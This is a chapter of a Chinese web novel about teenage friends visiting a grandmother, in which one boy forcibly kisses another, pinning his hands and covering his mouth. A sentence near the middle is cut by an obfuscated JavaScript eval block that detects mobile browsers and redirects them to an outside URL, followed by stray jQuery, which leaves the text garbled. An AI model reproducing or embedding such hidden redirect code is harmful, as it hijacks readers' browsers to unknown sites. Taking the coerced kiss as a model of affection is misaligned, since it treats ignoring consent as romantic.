86. P.37 一隅

作品:《白月光扮演法则

    消息是发到韩洋的手机上,韩洋转述给霍黎。


    霍黎问:“哪一天?”


    “五月一号。怎么了,你那天有事?”


    霍黎翻着手机里的聊天记录,“没,去吧。其他时间呢?”


    “往年我们早上去,晚上吃完饭就回来了,”韩洋的目光扫过霍黎手机的聊天界面,只扫了一眼,速度很快他没看清上面说什么,只知道是一个群聊,“今年琪哥在国外,晚姐他们可能会多陪老人一会儿。”


    霍黎把手机屏幕朝下盖住,笑道:“去吧。”


    他躺回懒人沙发,翻着手里的编程杂志。韩洋转过身,继续刷题。几分钟后,霍黎悄悄从杂志后面探出头,目光没从韩洋身上移开。


    那场病生得真值,他现在重新获得踏入韩洋房间的权利。


    五一那天,几波人各自出发,到小区外集合。


    阿琪外婆住的也是老小区,和韩洋原先住的工厂宿舍区差不多的规模,以前主要是本地人居住,随着时间流逝,年轻人都搬到更方便的商品房居住,留下很多老人在小区里,这些老人互相为伴,互相照应,过得好不滋润。


    阿琪外婆家那栋楼在一个坡上,房子在一楼自带一个小花园,看到几株高大的黄桷兰,旁边有一处花草丛生的院子,那儿就是阿琪外婆的家。


    “你这个老东西给我走,我不收你的东西。”一个中气十足的吼声把一行人都镇住,院子外站了个头发花白的小老头,脚边还有几个像模像样的礼盒。


    几个人对视,会心一笑,小老头绝对是外婆的追求者。


    面对紧闭的院门,小老头不硬闯,捡起脚边的礼盒,看得出他腿脚和腰不好,动作很慢,几个人怕他闪着腰,连忙上前帮忙。小老头接过礼盒,道了声谢,然后把礼盒放在门边,往院子里看了一眼,叹了口气,走了。


    门铃声再次响起,从屋里走出来一个气势汹汹的老人,手里拿着个木质衣架,边走边喊:“我不是告诉你再来我就——”她看清楚门外是几个年轻人,立刻笑盈盈道:“你们怎么来了,也不提前告诉我。”


    老人开门,把衣架藏在身后,见到韩洋和俞晔晨还有一个不认识的男孩从门边提起几个礼盒,赧然道:“哎哟,一把年纪了在你们小辈面前丢人了,没吓到你们吧?”


    宁晚说:“我们不是第一次来,早就习惯了。”


    阿琪外婆看了眼霍黎,“这个小男生我没见过,是第一次来吧。”


    宁晚赶紧介绍:“他啊,是阿琪的徒弟。”


    “哎哟,这小子什么时候收的徒弟,都不告诉我。”


    七八个人把并不宽敞的客厅占满了,几个人熟门熟路像进了自己家一样,给自己倒水找零食吃。


    宁晚扶着阿琪外婆坐到沙发上,手里的衣架塞到了茶几下,“阿琪没出国的时候你们来,阿琪现在出国了,你们还来,我真的不知道该说什么好,你们有什么想吃的,今晚我做给你们吃。”


    韩洋凑到霍黎耳边,“阿琪外婆做菜很好吃。”


    霍黎点点头,没想到下一秒焦点聚集在了自己身上。


    阿琪外婆指着他说:“你是阿琪徒弟是吧?你跟他学了什么?”


    霍黎:“架子鼓。”


    “鼓啊,行,既然你是阿琪徒弟,你得叫我太婆,他们都叫我外婆。”


    霍黎:“我降辈了?”


    另外几个人没忍住哈哈哈大笑,主要是霍黎平时看起来是个拽得二五八万的少爷,忽然发现比大家小了一辈,有种能骑在少爷脸上作威作福的爽感,可不得笑么。


    阿琪外婆说:“叫我声太婆,今晚单独跟你烧一个菜。”


    霍黎心里喊着不行,余光里韩洋嘴角带笑,他心一横:“太婆。”


    要准备一屋子将近十个人的菜,外婆想着去附近菜市买晚上需要的食材,点了两个苦力和他一起去菜市,剩下的帮她打扫屋子,摘摘花。


    黄桷兰一般在五月至八月开花,今年开得早,四月底已经开了一些,黄桷兰的花期很短,如果不马上采摘,过一晚上可能就没了。


    霍黎站在树下,闻到一阵热烈浓郁的香气,这个香味他小时候在奶奶的房间里闻到过,寻找出处,原来是一串未开的花,他现在知道那就是黄桷兰。


    他抬头看结在树枝上的一串串花,这么高,难道要爬梯子上去摘吗?


    思索的时间,韩洋和俞晔晨从院子里出来,韩洋手里拿着一个竹筐,俞晔晨手里拿着两根竹竿,走到霍黎面前扔给他一根,“干活。”


    “干活?”霍黎看着自己手里比他高出一大截的竹竿。


    俞晔晨这个时候总跟他开玩笑:“哦,忘了,少爷没干过这种活。”


    “看不起谁呢。”


    他看着俞晔晨把竹竿的头伸到花茎处,一朵花被牢牢卡在竹竿上,竹竿的头部劈成两半,削尖了就像剪刀一样锋利,往下一拉,花跟着下来了。俞晔晨取下竹竿上的黄桷兰,拿到他面前展示了一番,“学会了吗?”


    霍黎“嗤”了一声,“这么简单。”


    往年摘花的活是韩洋和俞晔晨干的,今年多了霍黎,他自觉包下原先属于韩洋的活。


    韩洋从他们手里接过摘下的黄桷兰,小心翼翼地放在竹筐里,这些是阿琪外婆要串成手串或者挂坠拿去卖的。


    霍黎依葫芦画瓢弄下来几朵,也有失误把花叉成两半的。每当看到韩洋从俞晔晨手里接过完好无损的花时,胜负欲渐渐燃起。于是,俞晔晨弄下来一朵,他就找两朵连在一块的,就是要比俞晔晨摘得多。


    俞晔晨忽然说比比谁摘得多,霍黎二话不说答应了。俞晔晨扶着竹竿,叉腰道:“先说好,不仅要比数量还要比质量,到时候看看谁摘的能用的数量多。”


    “比就比谁怕谁。”


    霍黎专门找那种长成一串的,一次就能下来十几朵。没过多久,他那一堆看上去比俞晔晨多。


    韩洋看着堆成两座小山的花,这棵树都快被这两个人薅光了吧,于是他说:“好了好了,差不多,摘下来卖不掉也是浪费。”


    “怎么可能浪费,有多的我带回去送给奶奶。”霍黎最后一次拉下来一大串,像一串葡萄似的。


    韩洋小心翼翼从他手里接过,指尖相触,霍黎的手指勾了一下韩洋的,又在他的掌心挠了一下。


    韩洋:“……”他差点就松了手。


    “你的脸怎么那么红?”俞晔晨抬头看了看,今天没太阳,也不热,不像是热得脸红的天气。


    韩洋连忙低下头,整理摘下来的花,“没有,栅栏上的花映的。”


    栅栏上确实开了几朵又大又艳的蔷薇。


    这段时间霍黎找到机会就撩拨他,勾一下他的手,揉一下他的头发,韩洋想跟他翻脸,发现根本没用,霍黎会变本加厉缠着他,直到他说原谅他为止。


    对付霍黎最好的办法就是冷处理,看他还能耍出什么花来。


    刚才被俞晔晨那么一问,也不知道为什么一阵心虚,手上的动作全乱了,分成两摞的花被他混到了一起,分不清是摘的。


    他抬头眼中是歉意:“怎么办,分不清是谁的了。”


    “算了。”俞晔晨不是真要比,他的胜负欲不在这方面。


    霍黎放下竹竿,蹲下来帮韩洋整理,嘴上却不肯认输,拎起来一串和俞晔晨炫耀:“我这串能抵你十几朵了。”


    “你那一串没几朵能用的。”


    “怎么可能。”霍黎不信,拿到韩洋面前求证,“真的不能用?”


    韩洋接过来,把花没完全盛开,花瓣上没有杂色的摘下来,一共是七朵,剩下的都不能用。


    好歹是他的劳动成果,霍黎不舍得扔了,“剩下的怎么办?”


    “放在家里当香薰。”韩洋蹲着挑选,把能用的放进竹筐里,“要卖给别人的总不能是残次品,你家里做生意应该知道这个道理。”


    两个人摘下来的有三分之二进了竹筐,剩下的三分之一韩洋找了一个小簸箕装起来,“这些可以用来泡酒,夏天驱蚊止痒。”霍黎眨了眨眼睛,像在思考什么,韩洋接着说:“你应该不需要。”


    “需要。黑山谷里走两步都能被叮几个包。”霍黎说,“今年夏天你不用做兼职,跟我们一起上山避暑。”


    暑假韩洋要升高三,假期直接砍半,八月就要开始补课,霍黎应该不知道普高变态的补课方式,他不想扫了霍黎的兴,没答应也没拒绝。把竹筐塞进霍黎手里,他捧着簸箕进了屋。


    俞晔晨跟在后面说:“八月就要补课,能去多久。”


    “八月补课?”霍黎睁大眼睛看向韩洋。


    韩洋无奈点点头。


    摘下来的黄桷兰要马上进行保鲜,韩洋在厨房里找了两个大铁盘,宁晚正在帮外婆打扫厨房,她跟出来,“哟,摘了这么多,以后摘花的活就交给你们仨了。”说完她又进了厨房,顺便把俞晔晨抓去帮忙了。


    保鲜的工作落在韩洋和霍黎身上。


    后院有一个洗手池,韩洋把花搬去后院工作。霍黎像个勤奋的学徒跟在他的身后,学着他把纸巾打湿铺在铁盘上,然后将花整齐地平铺在上面。又将一层打湿的纸巾盖在花上。


    这回真的摘了很多,两个铁盘放不下,韩洋把处理好的两个铁盘端起来,对霍黎说:“你等我一下,我再去找两个铁盘来。”


    后院只剩下霍黎一个人,他百无聊赖,拿出手机看,商宥心昨天已经到渝江了,跟着爸妈和弟弟坐游轮游三峡去了,她在群里发了几张风景照,杨兴文拍马屁似的说拍的真好。


    他把手机收起来,在簸箕里挑了两朵还能看的花握在掌心里,透过纱窗往屋里看,韩洋拿了两个稍微小一点的铁盘出来,“没有大的了,小的应该——”


    话没说完,下巴被一只有力的手卡住了,下一秒有什么东西插在他的耳朵后面,香味离得很近,是一朵黄桷兰,好像又不止一朵,他下意识伸手去摸。


    “别动。”


    霍黎凑近了,他们闯进了彼此的眼里。


    韩洋一手拿着铁盘,另一只手被霍黎禁锢,霍黎下一秒要对他做什么他都反抗不了。


    霍黎盯着他看了片刻,嘴角含笑:“好看。”


    连说话的气息都带着黄桷兰的香气,韩洋垂下了眼,他自认为自己和好看完全沾不上任何关系,他只是一个淹没于人群的普通学生。


    “好看。”霍黎又说了一遍,这一遍他贴着韩洋的耳边,沿着下颌移到了韩洋的唇边。


    目光落在韩洋的唇上。


    停顿了一下,他心里数着数,从一数到了五,韩洋始终直勾勾地看着前方。


    霍黎闭上眼,吻了上去。


    只一隅,若有若无,好似被花瓣划过。


    韩洋微微抬起头,眼神渐渐聚焦在霍黎脸上,太近了,视野里是模糊的一片。


    在他还没有反应过来时,霍黎又吻了上来。用了很大的力,不给他呼吸的机会。


    “霍……”他刚一开口,下唇就被霍黎咬住。


    脑子里嗡的一声,飘散的意识终于汇聚,还有那让人无法忽略的触感。


    霍黎感觉怀里的人挣了一下,他抓着韩洋的手往后扣在身后,另一只手扣在韩洋的脑后,让韩洋完全承受他的亲吻。


    他第一次吻自己喜欢的人,吻得毫无章法。


    韩洋越是挣扎,他就越是不舍得放开他。


    “哐当——”韩洋手里的铁盘落在地上,两个人都被吓了一跳才停止。


    屋里有人问:“怎么了?”


    霍黎捂住韩洋的嘴,朝里面喊:“没什么。”接吻后的余韵让他的嗓音听上去有些哑。


    他没松开韩洋,额头抵着韩洋的额头,声音压得很低,“我知道你现在想揍我,但是怎么办,我就是喜欢你,我就是想吻你,我刚才没忍住……对不起。”


    他不知道该怎么解释自己这种无耻的行为,语无伦次,又急又慌。退开了点,他看到韩洋眼里有水汽,除此之外像是无尽的黑洞。


    “我要放开你了,你想打的话就打吧。”


    霍黎松开韩洋的同时,闭上了眼。不知等了多久,本该落在他脸上的巴掌没有下来,缓缓睁开眼,只看见韩洋冷冰冰地看着他,插在耳后的花不见了,霍黎的心也跟着不见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157198|183250||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。


    “韩洋。”


    霍黎去拉他的手,韩洋退后一步,脚后跟踩在刚才掉落的黄桷兰上,瞬间四分五裂,满是泥泞。


    “我真的做错了,你打我骂我都可以。”


    韩洋深呼吸,胸膛起伏着,然后蹲下将两个铁盘捡起来,“动作快一点,时间长了就没那么新鲜了。”


    韩洋将纸巾放在水龙头下打湿,霍黎的手伸过来,不小心碰倒他的,他立刻跳起来往后缩了一下。


    “韩洋。”


    “别叫我名字,快点干活。”


    此后两个人没再说一句话,沉默地将花铺满。


    霍黎将水龙头拧紧,要帮韩洋拿铁盘时,被拒绝了。


    好不容易被他打破的僵局,又回到了原点。


    晚上阿琪准备了一大桌子菜,都快放不下了,盘子交叉叠着盘子摞在一起。宁晚拍了一张照给阿琪发过去,收获了一段长达五十几秒的哀嚎。


    “卧槽,你们到底有没有人性,不知道我在这边每天吃猪食吗,不,我还不如猪,至少猪还荤素搭配营养均衡。我觉得我快不成人样了,外婆啊……外婆啊……你们不能这么——”


    太惨了听不下去,宁晚停止播放。


    外婆招呼几个人坐下:“坐下吧坐下吧,别听那个的人哀嚎,他不去投奔他爸,现在不就能坐在这里吃香喝辣的嘛,都是自找的。”


    “外婆,阿琪是去留学,干的正经事。”兄弟几个都帮阿琪说话。


    “对啊,反正他以后肯定比我们有出息。”


    “好啦好啦,知道了。”外婆被哄好之后,反过来哄几个孩子吃饭,他看着还站着的韩洋和霍黎说道:“你们两个瓜娃子还不坐下。”


    坐的时候谁都没在意,都是一个接着一个坐下,最后剩下两个挨着的座位。


    如果是以前两个人一定二话不说就坐下了,只是霍黎现在不敢动,韩洋现在应该不想跟他靠得太近。他走到俞晔晨身后,“跟你换个位置。”


    “座位你也挑,韩洋身上是有刺是不,你挨不得。”


    霍黎:“我就坐这,我要吃你面前那盘回锅肉。”


    “行行行,你辈分最小让你。”俞晔晨站起来走到韩洋身边揽着韩洋的肩膀,身体贴在一起,“这也没刺啊。”


    韩洋曲起胳膊肘撞了一下俞晔晨,“吃饭吧。”


    吃饭的时候有人问起今天被赶出去的那个小老头。


    外婆笑眼弯弯,得意地说道:“他啊,我的众多追求者。”


    一群年轻人早就预料到了,外婆一说还是跟着瞎起哄,看外婆的表情也不像嫌弃,怎么还骂着把人赶出门。


    宁晚问:“外婆,你没看上他?”


    “也不是。”小老太太这下支支吾吾了,“他一追我就答应显得我很没面子,我肯定要矜持一下。”


    几个年轻人又是一阵“哎哟”。


    唯独两个人没“哎哟”,各怀心事朝对方看了一眼,视线刚撞上,又很快移开。


    “怎么您也学这喜欢越是要把人推开这套?”乐队几个人没少谈恋爱,那点小心思他们最是了解。


    阿琪外婆快被他们说得要捂住脸,不过先捂脸的是霍黎,他用力搓了一把脸,起身说:“我出去打个电话。”


    其他人的注意力不在霍黎身上,没有察觉他身上的异样。


    韩洋看了他一眼,在霍黎将目光转到他身上前,低下了头,等霍黎,他的目光追随了过去。


    “你们年轻的时候没有这样吗,”阿琪外婆绕着桌子指了一圈,“尤其是你们几个男生,小时候没少扯喜欢的女孩子的头发吧。故意欺负人家,就是为了引起人家的注意。”


    阿琪外婆点了点桌子,“这种行为真是幼稚。”


    “按您的意思,您早就看上人家了,但是还是要把他赶出门,吸引他的注意力吗?”


    手里的筷子没拿稳,在碗边磕了一下,声音不大,只有韩洋自己听见了。


    阿琪外婆反驳道:“我这是考验他,万一他到手了不珍惜,吃亏的也是我自己。”


    韩洋夹了一夹面前的菜,放进嘴里。


    “诶。”俞晔晨欲言又止。


    韩洋转头看过去,刚要问怎么了,表情倏地皱在一起,把嘴里的姜片吐进碗里。


    好辣。


    “我刚想提醒你,没想到你手那么快。”俞晔晨往他的杯子里添了饮料,“我感觉吃饭的时候心不在焉的,怎么了,菜不合口味?”


    韩洋喝光了饮料,“没事,我出去透透气。”


    “有什么一个人解决不了的事一定要跟我说。”


    韩洋几度想开口,话到嘴边变成了一个单音节,“嗯。”


    门外的花园里,霍黎站在蔷薇花旁,耳边贴着手机。


    原来他真的出来打电话。


    韩洋站在门边不去打扰他,从他的对话里听不出来是谁打来的,很随和,不像跟家里的长辈说话,应该是同龄的朋友。


    “OK,明天见。”霍黎挂了电话,转身看见等下站着一个人,昏暗的光线只能从身影分辨那是韩洋。


    是韩洋啊。霍黎惊奇地发现自己竟然能从一个黑影就能知道那是谁。


    韩洋踏下台阶,朝他走来。


    路灯把蔷薇的红映到了他的脸上,唇上。握着手机的手,收紧了力。


    “他们今晚要在这里留宿。”韩洋咳了一声,继续道:“你怎么打算?只有三间房,可能要几个人挤在……”


    “我今晚回家。”


    韩洋眼里闪过一丝诧异,“回、家?”


    霍黎深吸一口气,夜晚的寒气冻得他心肺有些疼,“有个朋友到渝江玩,答应了要招待他。”


    韩洋问:“什么朋友?”


    霍黎说:“之前NEC和我们同队的。”


    霍黎的队友——杨兴文和唐舜,他都认识,也都见过,只有一个是外地的,队里唯一的女生。


    “这样……”韩洋忽然觉得有根神经扯得他嗓子疼,连说话都困难,“司机什么时候来接你?”


    “已经打过电话了,估计在路上。”